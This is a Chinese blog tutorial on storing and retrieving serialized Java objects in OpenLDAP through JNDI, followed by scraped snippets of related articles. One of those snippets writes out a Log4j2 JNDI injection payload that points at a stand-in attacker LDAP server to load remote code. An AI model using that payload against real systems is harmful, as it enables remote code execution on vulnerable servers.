首先准备openLDAP , window 版或linux版都可,
重点:
You need to add include schema/java.schema
to your OpenLDAP configuration
否则利用JNDI LDAP provider 无法绑定对象。
1. 绑定对象person 到cn=user2,o=tt,c=cn
import java.io.Serializable;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.directory.DirContext;
public class person implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) {
// TODO Auto-generated method stub
}
}
绑定后可以看到LDAP的内容增加了一下内容
javaSerializedData 等信息。
图片请参照百度网盘
http://pan.baidu.com/s/1mhvQWje
并且可以通过LDAP的JNDI来进行进程间通信
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InvalidNameException;
import javax.naming.NamingException;
import javax.naming.directory.Attribute;
import javax.naming.directory.Attributes;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.BasicAttributes;
import javax.naming.ldap.InitialLdapContext;
import javax.naming.ldap.LdapContext;
public class JNDITest1 {
public static String BASE = "o=tt,c=cn";
/**
* 查找一个节点的内容
*
* @param context
*/
public void find(LdapContext context) {
String baseDN = "o=tt,c=cn";
try {
Attributes attrs = context.getAttributes("uid=sa," + baseDN);
// Attribute ocAttr = attrs.get("objectClass");
// for (int i = 0; i < ocAttr.size(); i++) {
// System.out.println(ocAttr.get(i));
// }
Attribute cnAttr = attrs.get("cn");
System.out.println(cnAttr.get());
Attribute snAttr = attrs.get("sn");
System.out.println(snAttr.get());
} catch (NamingException e) {
e.printStackTrace();
}
}
public static InitialLdapContext getLDAPContext() {
// Set up the environment for creating the initial context
Hashtable<String, Object> env = new Hashtable<String, Object>(11);
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/");
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=Manager,o=tt,c=cn");
env.put(Context.SECURITY_CREDENTIALS, "secret");
try {
// Create the initial context
InitialLdapContext ctx = new InitialLdapContext(env, null);
return ctx;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void main(String[] args) throws NamingException {
JNDITest1.bindObject();
}
public static person jndiSearch() {
InitialLdapContext ctx = getLDAPContext();
try {
person pers = (person) ctx.lookup("cn=user2,o=tt,c=cn");
return pers;
} catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
public static void CreateDN() throws NamingException {
InitialLdapContext ctx = getLDAPContext();
String newUserName = "user2";
BasicAttributes attrsbu = new BasicAttributes();
BasicAttribute objclassSet = new BasicAttribute("objectclass");
objclassSet.add("person");
objclassSet.add("top");
objclassSet.add("organizationalPerson");
objclassSet.add("inetOrgPerson");
attrsbu.put(objclassSet);
attrsbu.put("sn", newUserName);
attrsbu.put("uid", newUserName);
ctx.createSubcontext("cn=" + newUserName+","+BASE, attrsbu);
ctx.close();
}
public static void bindObject() {
try {
person p = new person();
p.setName("jordan");
p.setAge(40);
InitialLdapContext ctx = getLDAPContext();
ctx.rebind("cn=user2,o=tt,c=cn", p);
System.out.println("bind object object success ");
} catch (InvalidNameException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
import javax.naming.NamingException;
public class JNDITest2 {
public static String BASE = "o=tt,c=cn";
public static void main(String[] args) throws NamingException {
person p = JNDITest1.jndiSearch();
System.out.println(p.getName());
System.out.println(p.getAge());
}
}
注:如果例子不能完整运行,留言或参照本博客其他文章
相关推荐
4. **实战示例**:提供实际的代码示例,展示如何在应用程序中集成JNDI,以及如何处理各种服务的查找和管理。 **在学习JNDI时,你可能会遇到的几个关键知识点:** 1. **Naming Contexts**:命名上下文是JNDI的核心,...
通过以上介绍,我们了解了使用Java进行LDAP实战的基本步骤和关键点。然而,实际开发中还需要结合具体的业务需求和LDAP服务器的配置进行相应的调整。提供的图片文件可能包含示例场景、代码片段或其他有助于理解的视觉...
- Spring LDAP支持JNDI(Java Naming and Directory Interface),提供了一种声明式的方式来配置和管理目录连接。 4. **使用Spring LDAP进行LDAP操作** - `LdapTemplate`是主要的编程接口,提供了添加、删除、...
Spring LDAP是Spring框架的一个扩展,旨在简化Java与 Lightweight Directory Access Protocol (LDAP) 的交互,解决传统JNDI(Java Naming and Directory Interface)方式所带来的复杂性和模块性问题。 LDAP是一种...
《JNDI实战解析》 Java Naming and Directory Interface (JNDI) 是Java平台中一个重要的服务接口,它提供了一种标准的方法来查找和访问各种命名和目录服务。本文将深入探讨JNDI的使用实例,帮助开发者更好地理解和...
8. **实战应用**:在实际开发中,JNDI的例子可能包括通过JNDI查找并连接到数据库的数据源,或者在分布式环境中查找和调用远程服务。 总结来说,"jndi示例(java)"的学习涵盖了JNDI的基本概念、核心操作,以及在...
- LDAP API使用:介绍编程接口,如Java的JNDI和Python的ldap3库,用于开发与LDAP交互的应用程序。 9. **案例研究与最佳实践**: - 实战经验:分享实际部署中的挑战和解决方案,提供成功案例。 - 最佳实践:总结...
例如,使用${jndi:ldap://attacker-server.com/Exploit}这样的构造,可以引导Log4j2向攻击者的服务器发起请求,进而执行攻击者提供的代码。 描述中提到的“可以用idea编译,用网上工具复现一遍”表明此项目提供了一...
JNDI允许应用程序通过统一的方式与不同的命名或目录服务进行交互,如DNS、LDAP等。配置JNDI数据源主要包括两个步骤:一是配置数据源,根据作用域的不同,可以配置为仅供单个应用使用,或者全局共享;二是通过JNDI...
5. **JNDI(Java Naming and Directory Interface)**:JNDI提供了一种统一的方式来查找和访问各种命名和目录服务,如DNS、LDAP等。在J2EE应用中,JNDI常用于查找资源,如数据库连接池、邮件服务器配置等。 6. **...
7. **Java Naming and Directory Interface (JNDI)**:提供了一个统一的接口来访问命名和目录服务,如LDAP。 **J2EE Training Data Set内容概览** "J2EE入门资料集.chm"文件很可能包含了以下内容: 1. **基础概念...
- **JNDI/LDAP**:讨论命名和服务发现接口以及轻量目录访问协议。 - **RMI**:研究远程方法调用的基础和实现细节。 - **EJB**:介绍企业级Java Beans的作用域、生命周期和部署模型。 - **JMS**:分析Java消息...
JNDI/LDAP** - **查找服务**:学习如何使用JNDI查找并定位命名服务。 - **LDAP集成**:了解如何将Java应用程序与LDAP服务器集成,实现用户认证和权限管理。 **6. RMI** - **远程调用**:掌握如何使用RMI实现...